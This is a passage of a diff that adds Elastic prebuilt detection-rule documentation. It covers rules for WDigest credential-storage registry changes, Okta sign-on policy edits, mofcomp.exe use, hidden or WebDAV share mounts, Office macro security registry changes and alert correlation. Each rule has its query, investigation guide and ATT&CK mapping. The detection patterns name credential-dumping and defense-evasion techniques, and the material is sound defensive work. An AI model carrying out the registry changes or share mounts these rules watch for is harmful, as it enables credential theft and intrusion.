to 8 and 2012 store logon credentials in memory in plaintext by default, which is no longer the case with newer Windows versions. + +Still, attackers can force WDigest to store the passwords insecurely on the memory by modifying the `HKLM\SYSTEM\*ControlSet*\Control\SecurityProviders\WDigest\UseLogonCredential` registry key. This activity is commonly related to the execution of credential dumping tools. + + +*Possible investigation steps* + + +- It is unlikely that the monitored registry key was modified legitimately in newer versions of Windows. Analysts should treat any activity triggered from this rule with high priority as it typically represents an active adversary. +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine if credential dumping tools were run on the host, and retrieve and analyze suspicious executables: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences on other hosts. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This modification should not happen legitimately. Any potential benign true positive (B-TP) should be mapped and monitored by the security team, as these modifications expose the entire domain to credential compromises and consequently unauthorized access. + + +*Related rules* + + +- Mimikatz Powershell Module Activity - ac96ceb8-4399-4191-af1d-4feeac1f1f46 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type in ("creation", "change") and + registry.value : "UseLogonCredential" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\SecurityProviders\\WDigest\\UseLogonCredential" and + registry.data.strings : ("1", "0x00000001") and + not (process.executable : "?:\\Windows\\System32\\svchost.exe" and user.id : "S-1-5-18") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc new file mode 100644 index 0000000000..e5e0845ac6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-modification-or-removal-of-an-okta-application-sign-on-policy]] +=== Modification or Removal of an Okta Application Sign-On Policy + +Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/App_Based_Signon.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification or Removal of an Okta Application Sign-On Policy* + + +Okta's sign-on policies are crucial for enforcing authentication controls within an organization. Adversaries may target these policies to weaken security by modifying or removing them, thus bypassing authentication measures. The detection rule monitors system events for updates or deletions of sign-on policies, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the event logs for entries with the dataset field set to okta.system to confirm the source of the alert. +- Examine the event.action field for values application.policy.sign_on.update or application.policy.sign_on.rule.delete to identify the specific action taken. +- Identify the user or system account associated with the event to determine if the action was performed by an authorized individual. +- Check the timestamp of the event to correlate with any other suspicious activities or changes in the system around the same time. +- Investigate the history of changes to the affected sign-on policy to understand the context and frequency of modifications or deletions. +- Assess the impact of the policy change on the organization's security posture and determine if any immediate remediation is necessary. +- If unauthorized activity is suspected, initiate a security incident response to contain and mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative updates to sign-on policies by authorized personnel can trigger alerts. To manage this, establish a list of trusted users or roles and create exceptions for their actions. +- Scheduled maintenance or policy reviews may involve legitimate modifications or deletions. Document these activities and adjust the detection rule to exclude events during known maintenance windows. +- Automated scripts or tools used for policy management might cause false positives. Identify these tools and configure the rule to recognize and exclude their expected actions. +- Changes due to integration with third-party applications can be mistaken for unauthorized modifications. Verify these integrations and whitelist their associated actions to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized access or changes. This can be done by disabling the application temporarily until the issue is resolved. +- Review the audit logs to identify the source of the modification or deletion attempt, focusing on the user account and IP address associated with the event. +- Revert any unauthorized changes to the sign-on policy by restoring it to the last known good configuration. Ensure that all security controls are reinstated. +- Conduct a thorough review of user accounts with administrative privileges in Okta to ensure they are legitimate and have not been compromised. Reset passwords and enforce multi-factor authentication (MFA) for these accounts. +- Notify the security team and relevant stakeholders about the incident, providing details of the attempted policy modification or deletion and the steps taken to contain the threat. +- Escalate the incident to higher-level security management if the source of the threat is internal or if there is evidence of a broader compromise. +- Implement additional monitoring and alerting for any future attempts to modify or delete sign-on policies, ensuring that similar threats are detected and addressed promptly. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(application.policy.sign_on.update or application.policy.sign_on.rule.delete) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mofcomp-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mofcomp-activity.asciidoc new file mode 100644 index 0000000000..019b0cd5f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mofcomp-activity.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-mofcomp-activity]] +=== Mofcomp Activity + +Managed Object Format (MOF) files can be compiled locally or remotely through mofcomp.exe. Attackers may leverage MOF files to build their own namespaces and classes into the Windows Management Instrumentation (WMI) repository, or establish persistence using WMI Event Subscription. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mofcomp Activity* + +Mofcomp.exe is a tool used to compile Managed Object Format (MOF) files, which define classes and namespaces in the Windows Management Instrumentation (WMI) repository. Adversaries exploit this by creating malicious WMI scripts for persistence or execution. The detection rule identifies suspicious mofcomp.exe activity by filtering out legitimate processes and focusing on unusual executions, excluding known safe parent processes and system accounts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of mofcomp.exe and verify the command-line arguments used, focusing on any unusual or unexpected MOF file paths. +- Investigate the user account associated with the process execution, especially if it is not the system account (S-1-5-18), to determine if the account has been compromised or is being misused. +- Examine the parent process of mofcomp.exe to ensure it is not a known safe process like ScenarioEngine.exe, and assess whether the parent process is legitimate or potentially malicious. +- Check for any recent changes or additions to the WMI repository, including new namespaces or classes, which could indicate malicious activity or persistence mechanisms. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Crowdstrike to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate SQL Server operations may trigger the rule when SQL Server components compile MOF files. To handle this, exclude processes with parent names like ScenarioEngine.exe and specific MOF file paths related to SQL Server. +- System maintenance tasks executed by trusted system accounts can cause false positives. Exclude activities initiated by the system account with user ID S-1-5-18 to reduce noise. +- Regular administrative tasks involving WMI may appear suspicious. Identify and document these tasks, then create exceptions for known safe parent processes or specific MOF file paths to prevent unnecessary alerts. +- Software installations or updates that involve MOF file compilation might be flagged. Monitor installation logs and exclude these processes if they are verified as part of legitimate software updates. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the mofcomp.exe process if it is confirmed to be executing malicious MOF files. +- Conduct a thorough review of the WMI repository to identify and remove any unauthorized namespaces or classes that may have been created by the attacker. +- Remove any malicious MOF files from the system to prevent re-execution. +- Restore the system from a known good backup if unauthorized changes to the WMI repository or system files are detected. +- Monitor for any recurrence of similar activity by setting up alerts for unusual mofcomp.exe executions and unauthorized WMI modifications. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "mofcomp.exe" and process.args : "*.mof" and + not user.id : "S-1-5-18" and + not + ( + process.parent.name : "ScenarioEngine.exe" and + process.args : ( + "*\\MSSQL\\Binn\\*.mof", + "*\\Microsoft SQL Server\\???\\Shared\\*.mof", + "*\\OLAP\\bin\\*.mof" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mounting-hidden-or-webdav-remote-shares.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mounting-hidden-or-webdav-remote-shares.asciidoc new file mode 100644 index 0000000000..6dbbf6add0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-mounting-hidden-or-webdav-remote-shares.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-mounting-hidden-or-webdav-remote-shares]] +=== Mounting Hidden or WebDav Remote Shares + +Identifies the use of net.exe to mount a WebDav or hidden remote share. This may indicate lateral movement or preparation for data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mounting Hidden or WebDav Remote Shares* + + +WebDav and hidden remote shares facilitate file sharing and collaboration across networks, often used in enterprise environments. Adversaries exploit these to move laterally or exfiltrate data by mounting shares using tools like net.exe. The detection rule identifies suspicious share mounts by monitoring specific command patterns, excluding benign operations, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of net.exe or net1.exe for mounting shares, focusing on the process.name and process.pe.original_file_name fields. +- Examine the process.args field to identify the specific share being accessed, noting any patterns like "\\\\*\\*$*", "\\\\*@SSL\\*", or "http*" that indicate hidden or WebDav shares. +- Check the parent process information to determine if net1.exe was executed independently or as a child of another suspicious process, which could suggest malicious intent. +- Investigate the user account associated with the process to verify if the activity aligns with their typical behavior or if it appears anomalous. +- Correlate the event with other logs or alerts from the same host or user to identify any patterns of lateral movement or data exfiltration attempts. +- Assess the network activity around the time of the alert to detect any unusual outbound connections that might indicate data exfiltration. + + +*False positive analysis* + + +- Legitimate use of net.exe for mounting network drives in enterprise environments can trigger false positives. Users can create exceptions for known internal IP addresses or specific user accounts frequently performing these actions. +- Automated scripts or system processes that use net.exe to connect to WebDav or hidden shares for legitimate purposes may be flagged. Identify these scripts and processes, and exclude them by their process hash or command line patterns. +- Regular operations involving OneDrive or other cloud-based services might be misidentified as suspicious. Exclude these by specifying known service URLs or domains in the detection rule. +- Administrative tasks involving network share management can be mistaken for threats. Document and exclude these tasks by correlating them with scheduled maintenance windows or specific admin user accounts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes related to net.exe or net1.exe that are actively mounting hidden or WebDav shares. +- Conduct a thorough review of recent file access and transfer logs to identify any unauthorized data access or exfiltration attempts. +- Change credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Implement network segmentation to limit access to critical systems and sensitive data, reducing the risk of lateral movement. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Enhance monitoring and alerting for similar activities by ensuring that all relevant security tools are configured to detect and alert on suspicious use of net.exe and net1.exe. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ((process.name : "net.exe" or ?process.pe.original_file_name == "net.exe") or ((process.name : "net1.exe" or ?process.pe.original_file_name == "net1.exe") and + not process.parent.name : "net.exe")) and + process.args : "use" and + /* including hidden and webdav based online shares such as onedrive */ + process.args : ("\\\\*\\*$*", "\\\\*@SSL\\*", "http*") and + /* excluding shares deletion operation */ + not process.args : "/d*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ms-office-macro-security-registry-modifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ms-office-macro-security-registry-modifications.asciidoc new file mode 100644 index 0000000000..5bc3b3bb0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ms-office-macro-security-registry-modifications.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-ms-office-macro-security-registry-modifications]] +=== MS Office Macro Security Registry Modifications + +Microsoft Office Products offer options for users and developers to control the security settings for running and using Macros. Adversaries may abuse these security settings to modify the default behavior of the Office Application to trust future macros and/or disable security warnings, which could increase their chances of establishing persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 312 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MS Office Macro Security Registry Modifications* + + +Macros are small programs that are used to automate repetitive tasks in Microsoft Office applications. Historically, macros have been used for a variety of reasons -- from automating part of a job, to building entire processes and data flows. Macros are written in Visual Basic for Applications (VBA) and are saved as part of Microsoft Office files. + +Macros are often created for legitimate reasons, but they can also be written by attackers to gain access, harm a system, or bypass other security controls such as application allow listing. In fact, exploitation from malicious macros is one of the top ways that organizations are compromised today. These attacks are often conducted through phishing or spear phishing campaigns. + +Attackers can convince victims to modify Microsoft Office security settings, so their macros are trusted by default and no warnings are displayed when they are executed. These settings include: + +- *Trust access to the VBA project object model* - When enabled, Microsoft Office will trust all macros and run any code without showing a security warning or requiring user permission. +- *VbaWarnings* - When set to 1, Microsoft Office will trust all macros and run any code without showing a security warning or requiring user permission. + +This rule looks for registry changes affecting the conditions above. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user and check if the change was done manually. +- Verify whether malicious macros were executed after the registry change. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve recently executed Office documents and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Reset the registry key value. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Explore using GPOs to manage security settings for Microsoft Office macros. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("AccessVBOM", "VbaWarnings") and + registry.data.strings : ("0x00000001", "1") + +/* + Full registry key paths omitted due to data source variations: + "HKCU\\S-1-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\AccessVBOM" + "HKCU\\S-1-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\VbaWarnings" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc new file mode 100644 index 0000000000..de82c5c6ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-multiple-alerts-in-same-att-ck-tactic-by-host]] +=== Multiple Alerts in Same ATT&CK Tactic by Host + +This rule correlates multiple security alerts associated with the same ATT&CK tactic on a single host within a defined time window. By requiring alerts from multiple distinct detection rules, this detection helps identify hosts exhibiting concentrated malicious behavior, which may indicate an active intrusion or post-compromise activity. The rule is intended to assist analysts in prioritizing triage toward hosts with higher likelihood of compromise rather than signaling a single discrete event. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Alerts in Same ATT&CK Tactic by Host* + + +The detection rule identifies hosts with alerts from the same ATT&CK tactic, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, defense evasion, and credential access. This rule prioritizes hosts with high-risk. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different techniques that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple rules. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate multiple alerts. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* metadata _id + +| where kibana.alert.risk_score > 21 and + kibana.alert.rule.name IS NOT NULL and + host.id is not null and data_stream.dataset is not null and + + // excluding ML and Threat Match rules as they tend to be noisy + not kibana.alert.rule.type in ("threat_match", "machine_learning") and + + // excluding noisy tactics like Discovery, Persistence and Lateral Movement + kibana.alert.rule.threat.tactic.name in ("Credential Access", "Defense Evasion", "Execution", "Command and Control") and + + // excluding some noisy rules + not kibana.alert.rule.name in ("Agent Spoofing - Mismatched Agent ID", "Process Termination followed by Deletion") and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// extract unique counts and values by host.id and tactic name +| stats Esql.alerts_count = COUNT(*), + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.event_module_values = VALUES(event.module), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.threat_technique_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.technique.id), + Esql.threat_technique_name_values = VALUES(kibana.alert.rule.threat.technique.name), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, kibana.alert.rule.threat.tactic.name + +// filter for at least 3 unique rules and exclude noisy patterns like high count of alerts or processes often associated with noisy FPs +| where Esql.kibana_alert_rule_name_distinct_count >= 3 and Esql.process_entity_id_distinct_count <= 10 and Esql.alerts_count <= 20 + +// fields populated in the resulting alerts +| Keep host.id, kibana.alert.rule.threat.tactic.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-involving-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-involving-a-user.asciidoc new file mode 100644 index 0000000000..485f8779f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-alerts-involving-a-user.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-multiple-alerts-involving-a-user]] +=== Multiple Alerts Involving a User + +This rule uses alert data to determine when multiple different alerts involving the same user are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-4h 